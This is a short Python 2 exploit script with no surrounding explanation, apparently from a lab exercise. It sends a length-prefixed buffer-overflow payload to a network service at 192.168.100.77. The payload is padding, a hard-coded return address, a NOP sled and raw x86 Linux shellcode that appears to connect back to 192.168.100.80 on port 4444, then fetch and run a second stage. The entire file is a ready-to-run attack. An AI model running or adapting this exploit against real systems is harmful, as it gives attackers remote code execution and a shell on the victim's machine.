payload

#!/usr/bin/python

import socket
import struct
import sys

if len(sys.argv) != 2:
    print "Usage: " + sys.argv[0] + " [port]"
    sys.exit(1)

DEST_IP = '192.168.100.77'
DEST_PORT = int(sys.argv[1])
payload =  ""
payload += "\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02"
payload += "\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x64"
payload += "\x50\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50"
payload += "\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e"
payload += "\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05"
payload += "\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27"
payload += "\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c"
payload += "\xc1\xe3\x0c\xb0\x7d\xcd\x80\x85\xc0\x78\x10\x5b"
payload += "\x89\xe1\x99\xb2\x6a\xb0\x03\xcd\x80\x85\xc0\x78"
payload += "\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00"
payload += "\x00\xcd\x80"
junk = "A" * 1040
ret =  "\x30\xcd\xff\xff"
nops = "\x90" * 20
EXPLOIT = junk + ret + nops + payload
def convert(exploit):
    raw = ''
    raw += struct.pack("<I", len(exploit))
    raw += exploit
    return raw

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((DEST_IP, DEST_PORT))
s.send(convert(EXPLOIT))

data = s.recv(1024)
s.close()

print "Received data: ", data